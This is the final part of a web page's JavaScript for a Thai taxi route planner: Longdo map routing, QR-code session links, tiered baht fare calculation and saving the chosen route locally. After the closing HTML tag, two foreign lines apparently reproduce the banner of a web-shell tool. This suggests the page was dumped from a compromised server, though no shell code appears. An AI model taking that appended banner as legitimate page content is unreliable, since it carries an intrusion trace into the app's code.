        document.addEventListener('click', e => {
            if (!e.target.closest('.position-relative')) {
                document.getElementById('originSuggestions').style.display = 'none';
                document.getElementById('destinationSuggestions').style.display = 'none';
            }
        });

        document.getElementById('origin').addEventListener('focus', () => {
            const box = document.getElementById('originSuggestions');
            if (box.innerHTML === '') {
                displaySuggestions([], box, true);
            }
            box.style.display = 'block';
        });

        document.getElementById('destination').addEventListener('focus', () => {
            const box = document.getElementById('destinationSuggestions');
            if (box.innerHTML === '') {
                displaySuggestions([], box, false);
            }
            box.style.display = 'block';
        });

        // ========== QR CODE ==========
        function generateQRCode() {
            const qrDiv = document.getElementById('qrcode');
            qrDiv.innerHTML = '';
            const baseUrl = window.location.href.split('/').slice(0, -1).join('/');
            new QRCode(qrDiv, {
                text: baseUrl + '/passengerqp.php?session=' + sessionId,
                width: 180,
                height: 180,
                colorDark: '#0d1b3a',
                colorLight: '#ffffff',
                correctLevel: QRCode.CorrectLevel.H
            });
        }

        function toggleQR() {
            const box = document.getElementById('qrcode-box');
            box.style.display = box.style.display === 'none' || box.style.display === '' ? 'flex' : 'none';
        }

        // ========== ROUTE FUNCTIONS ==========
        async function searchRoute() {
            const t = translations[currentLang];
            if (!selectedOrigin || !selectedDestination) {
                alert(t.alert_select_locations);
                return;
            }

            document.getElementById('loadingSpinner').classList.add('active');
            document.getElementById('routesSection').style.display = 'none';
            document.getElementById('confirmBtn').style.display = 'none';

            try {
                const [route1, route2] = await Promise.all([
                    fetchRoute('t', '25'),
                    fetchRoute('d', '17')
                ]);

                routeData = {
                    main: route1,
                    fastest: route2
                };

                displayRoutes(route1, route2);
                displayRouteOnMap();

                document.getElementById('loadingSpinner').classList.remove('active');
                document.getElementById('routesSection').style.display = 'block';

                document.getElementById('routesSection').scrollIntoView({
                    behavior: 'smooth',
                    block: 'start'
                });

            } catch (error) {
                document.getElementById('loadingSpinner').classList.remove('active');
                alert('เกิดข้อผิดพลาดในการค้นหาเส้นทาง');
                console.error(error);
            }
        }

        function fetchRoute(mode, type) {
            const url = 'https://api.longdo.com/RouteService/json/route/guide';
            const params = new URLSearchParams({
                flon: selectedOrigin.lon,
                flat: selectedOrigin.lat,
                tlon: selectedDestination.lon,
                tlat: selectedDestination.lat,
                mode,
                type,
                locale: currentLang, // 🔥 ใช้ภาษาที่เลือก แทน hardcode 'th'
                key: LONGDO_API_KEY
            });
            return fetch(`${url}?${params}`).then(r => r.json());
        }

        function calculateTaxiFare(distanceKm, timeSeconds) {
            let fare = 35; // ราคาเริ่มต้น

            // คำนวณค่าระยะทาง
            if (distanceKm > 1) {
                let remainingKm = distanceKm - 1;

                // 1-2 กม.: +6.5 บาท
                if (remainingKm <= 1) {
                    fare += 6.5;
                } else {
                    fare += 6.5;
                    remainingKm -= 1;

                    // 2-10 กม.: 6.5 บาท/กม.
                    if (remainingKm <= 8) {
                        fare += remainingKm * 6.5;
                    } else {
                        fare += 8 * 6.5;
                        remainingKm -= 8;

                        // 10-20 กม.: 7 บาท/กม.
                        if (remainingKm <= 10) {
                            fare += remainingKm * 7;
                        } else {
                            fare += 10 * 7;
                            remainingKm -= 10;

                            // 20-40 กม.: 8 บาท/กม.
                            if (remainingKm <= 20) {
                                fare += remainingKm * 8;
                            } else {
                                fare += 20 * 8;
                                remainingKm -= 20;

                                // 40-60 กม.: 8.5 บาท/กม.
                                if (remainingKm <= 20) {
                                    fare += remainingKm * 8.5;
                                } else {
                                    fare += 20 * 8.5;
                                    remainingKm -= 20;

                                    // 60-80 กม.: 9 บาท/กม.
                                    if (remainingKm <= 20) {
                                        fare += remainingKm * 9;
                                    } else {
                                        fare += 20 * 9;
                                        remainingKm -= 20;

                                        // 80+ กม.: 10.5 บาท/กม.
                                        fare += remainingKm * 10.5;
                                    }
                                }
                            }
                        }
                    }
                }
            }

            // คำนวณค่ารถติด
            // 40 วินาที = 2 บาท → 3 บาท/นาที (60/40 * 2 = 3)
            const trafficFarePerMinute = 0;
            const timeMinutes = timeSeconds / 60;
            const trafficFare = timeMinutes * trafficFarePerMinute;
            fare += trafficFare;

            return Math.round(fare);
        }

        function displayRoutes(r1, r2) {
            const t = translations[currentLang];
            const d1 = r1.data[0];
            const d2 = r2.data[0];

            const taxiFare1 = calculateTaxiFare(d1.distance / 1000, d1.interval);
            const taxiFare2 = calculateTaxiFare(d2.distance / 1000, d2.interval);

            document.getElementById('dist1').textContent = `${(d1.distance / 1000).toFixed(2)} ${t.km}`;
            document.getElementById('time1').textContent = formatTime(d1.interval);
            document.getElementById('cost1').textContent = `${taxiFare1} ${t.baht}`;

            document.getElementById('dist2').textContent = `${(d2.distance / 1000).toFixed(2)} ${t.km}`;
            document.getElementById('time2').textContent = formatTime(d2.interval);
            document.getElementById('cost2').textContent = `${taxiFare2} ${t.baht}`;
        }

        function formatTime(sec) {
            const t = translations[currentLang];
            const min = Math.round(sec / 60);
            const h = Math.floor(min / 60);
            const m = min % 60;
            return h > 0 ? `${h} ${t.hr} ${m} ${t.min}` : `${m} ${t.min}`;
        }

        function displayRouteOnMap() {
            map.Route.clear();

            map.Route.add(new longdo.Marker({
                lon: selectedOrigin.lon,
                lat: selectedOrigin.lat
            }, {
                icon: {
                    url: greenMarker,
                    offset: {
                        x: 20,
                        y: 50
                    }
                }
            }));

            map.Route.add(new longdo.Marker({
                lon: selectedDestination.lon,
                lat: selectedDestination.lat
            }, {
                icon: {
                    url: redMarker,
                    offset: {
                        x: 20,
                        y: 50
                    }
                }
            }));

            // <-- ตั้งค่าสีเส้นก่อน search() (ใช้วิธี map.call แนะนำ)
            try {
                map.call('Route.line', 'road', {
                    lineColor: '#1500ffff',
                    lineWidth: 6,
                    borderColor: '#000000',
                    borderWidth: 1
                });
            } catch (e) {
                // หากเรียกไม่ได้ ให้ลองวิธีสำรอง
                if (typeof map.Route.line === 'function') {
                    map.Route.line('road', {
                        lineColor: '#ff0000',
                        lineWidth: 2
                    });
                } else {
                    // fallback: map.Route.option (ถ้ามี)
                    if (typeof map.Route.option === 'function') {
                        map.Route.option({
                            lineColor: '#00ff59ff',
                            lineWidth: 2
                        });
                    }
                }
                console.warn('Route style applied via fallback methods (if available).', e);
            }

            map.Route.mode(longdo.RouteMode.Traffic);
            map.Route.search();
        }



        function selectRoute(type) {
            selectedRouteType = type;

            document.querySelectorAll('.route-card').forEach(c => c.classList.remove('selected'));
            document.getElementById(type === 'main' ? 'route1' : 'route2').classList.add('selected');

            document.getElementById('confirmBtn').style.display = 'block';

            map.Route.clear();

            if (type === 'main') {
                map.Route.mode(longdo.RouteMode.Traffic);
                map.Route.enableRoute(longdo.RouteType.Tollway, true);
            } else {
                map.Route.mode(longdo.RouteMode.Traffic);
                map.Route.enableRoute(longdo.RouteType.Tollway, false);
            }

            map.Route.add(new longdo.Marker({
                lon: selectedOrigin.lon,
                lat: selectedOrigin.lat
            }, {
                icon: {
                    url: greenMarker,
                    offset: {
                        x: 20,
                        y: 50
                    }
                }
            }));

            map.Route.add(new longdo.Marker({
                lon: selectedDestination.lon,
                lat: selectedDestination.lat
            }, {
                icon: {
                    url: redMarker,
                    offset: {
                        x: 20,
                        y: 50
                    }
                }
            }));

            map.Route.search();

            setTimeout(() => {
                fitMapToRoute();
            }, 800);
        }

        function fitMapToRoute() {
            if (!selectedOrigin || !selectedDestination) return;

            try {
                const bounds = {
                    minLon: Math.min(selectedOrigin.lon, selectedDestination.lon),
                    minLat: Math.min(selectedOrigin.lat, selectedDestination.lat),
                    maxLon: Math.max(selectedOrigin.lon, selectedDestination.lon),
                    maxLat: Math.max(selectedOrigin.lat, selectedDestination.lat)
                };

                const lonPadding = (bounds.maxLon - bounds.minLon) * 0.15 || 0.01;
                const latPadding = (bounds.maxLat - bounds.minLat) * 0.15 || 0.01;

                bounds.minLon -= lonPadding;
                bounds.maxLon += lonPadding;
                bounds.minLat -= latPadding;
                bounds.maxLat += latPadding;

                map.bound(bounds, true);

                console.log('🗺️ Map fitted to route bounds:', bounds);
            } catch (error) {
                console.error('Error fitting map to route:', error);
                const centerLat = (selectedOrigin.lat + selectedDestination.lat) / 2;
                const centerLon = (selectedOrigin.lon + selectedDestination.lon) / 2;
                map.location({
                    lon: centerLon,
                    lat: centerLat
                }, true);
                map.zoom(10, true);
            }
        }

        async function confirmRoute() {
            const t = translations[currentLang];
            if (!selectedRouteType) {
                alert(t.alert_select_route);
                return;
            }

            const routeInfo = selectedRouteType === 'main' ? routeData.main.data[0] : routeData.fastest.data[0];
            const fare = calculateTaxiFare(routeInfo.distance / 1000, routeInfo.interval);

            const dataToSave = {
                sessionId: sessionId,
                origin: {
                    name: selectedOrigin.name,
                    lat: selectedOrigin.lat,
                    lon: selectedOrigin.lon
                },
                destination: {
                    name: selectedDestination.name,
                    lat: selectedDestination.lat,
                    lon: selectedDestination.lon
                },
                routeType: selectedRouteType,
                distance: (routeInfo.distance / 1000).toFixed(2),
                time: formatTime(routeInfo.interval),
                fare: fare,
                timestamp: new Date().toISOString()
            };

            localStorage.setItem('routeData_' + sessionId, JSON.stringify(dataToSave));
            console.log('Data saved:', dataToSave);

            document.getElementById('confirmBtn').style.display = 'none';
            document.getElementById('successMessage').classList.add('active');

            document.getElementById('successMessage').scrollIntoView({
                behavior: 'smooth',
                block: 'center'
            });
        }

        // ========== INITIALIZE ==========
        window.addEventListener('load', () => {
            initMap();
            generateQRCode();
        });
    </script>

</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit